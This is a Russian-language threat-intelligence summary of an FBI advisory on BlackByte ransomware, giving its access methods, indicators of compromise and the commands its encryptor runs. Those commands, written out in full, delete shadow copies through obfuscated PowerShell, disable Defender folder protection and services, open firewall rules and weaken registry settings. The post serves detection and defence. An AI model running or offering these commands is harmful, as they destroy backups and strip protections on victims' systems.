BlackByte ransomware

14 февраль 2022

Енкодер-вымогатель BlackByte, индикаторы компрометации в инфраструктуре организации и история выполненных команд, запущенных служб и оставленных злоумышленниками артефактов от FBI

BlackByte — шифровальщик-вымогатель, относящийся к семейству RaaS(Ransomware as a Service), который производит шифрование на скомпрометированных хостах с ОС Windows. В 2021 году BlackByte успешно атаковал несколько корпораций США и иных государств, а также сферу критической инфраструктуры США.

Шифровальщик оставляет уведомление со ссылкой на .onion сайт в каждой директории, где было произведено шифрование данных, для оплаты жертвой выкупа. Некоторые ранее атакованные шифровальщиком организации сообщали, что злоумышленники использовали известные уязвимости
в Microsoft Exchange, с целью сбора информации о сети жертвы. После проникновения в сеть, злоумышленники развертывали необходимые утилиты для дальнейшего продвижения (Lateral movement) и повышения привилегий ( все это происходило до удаления следов и шифрования).
В некоторых случаях производили шифрование некоторых файлов.

Предыдущие версии BlackByte, прежде чем начать шифрование, загружали файл с расширением .png с IP адресов: 185.93.6.31 и 45.9.148.114. Последняя версия производит шифрование без связи с внешними IP источниками. Запуск шифровальщика происходит из директорий С:\windows\system32 & C:\Windows\. Также наблюдается process injection.

Индикаторы компрометации (IOCs):

BlackByte создает задачи в Task Scheduler:
Могут быть найдены по пути Windows\System32\Tasks

IIS logs также содержит GET и POST запросы к нескольким ASPX файлам, имеющим формат «<FILE_PATH>/<SUSPICIOUS_FILENAME>.aspxexec_code=Response.Write»

В таблице представлен список хеш-сумм подозрительных файлов, которые могут быть найдены на системе пораженной BlackByte:

В таблице ниже представлен перечень команд, которые выполняются файлом шифровальщика complex.exe:

schtasks.exe /DELETE /TN «\»Raccine Rules Updater\»» /F cmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB cmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded cmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB cmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded cmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB cmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded cmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB cmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded powershell.exe $x = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String(‘RwBlA HQALQBXAG0AaQBPAGIAagBlAGMAdAAg’+’AFcAaQBuADMAMgBfAFMAaABhAGQAb wB3AGMAbwBwAHkAIAB8AC’+’AARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0A CAAewAkA’+’F8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==’)) Invoke-Expression $x После декодирования из base64 формата: Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete()} sc.exe config SQLTELEMETRY start= disabled sc.exe config SQLTELEMETRY$ECWDB2 start= disabled sc.exe config SQLWriter start= disabled sc.exe config SstpSvc start= disabled powershell.exe Set-MpPreference -EnableControlledFolderAccess Disabled sc.exe config MBAMService start= disabled sc.exe config wuauserv start= disabled sc.exe config Dnscache start= auto sc.exe config fdPHost start= auto sc.exe config FDResPub start= auto sc.exe config SSDPSRV start= auto sc.exe config upnphost start= auto sc.exe config RemoteRegistry start= auto cmd.exe /c netsh advfirewall firewall set rule «group=\»Network Discovery\»» new enable=Yes cmd.exe /c netsh advfirewall firewall set rule «group=\»File and Printer Sharing\»» new enable=Yes cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v LongPathsEnabled /t REG_DWORD /d 1 /f mountvol.exe A: \\?\Volume{d7e47829-0000-0000-0000-100000000000}\ mountvol.exe B: \\?\Volume{d7e47829-0000-0000-0000-b0e213000000}\ mountvol.exe E: \\?\Volume{fce79ce0-b01f-11e6-b968-806e6f6e6963}\ powershell.exe Install-WindowsFeature -Name \»RSAT-AD-PowerShell\» – IncludeAllSubFeature net.exe view arp.exe -a powershell.exe Import-Module ActiveDirectory Get-ADComputer -Filter * -Properties * | FT Name notepad.exe %appdata%\RestoreMyFiles_BlackByte.txt cmd.exe /c ping 1.1.1.1 -n 10 > Nul & Del C:\Users\REM\Desktop\hybrid-9-8\complex.exe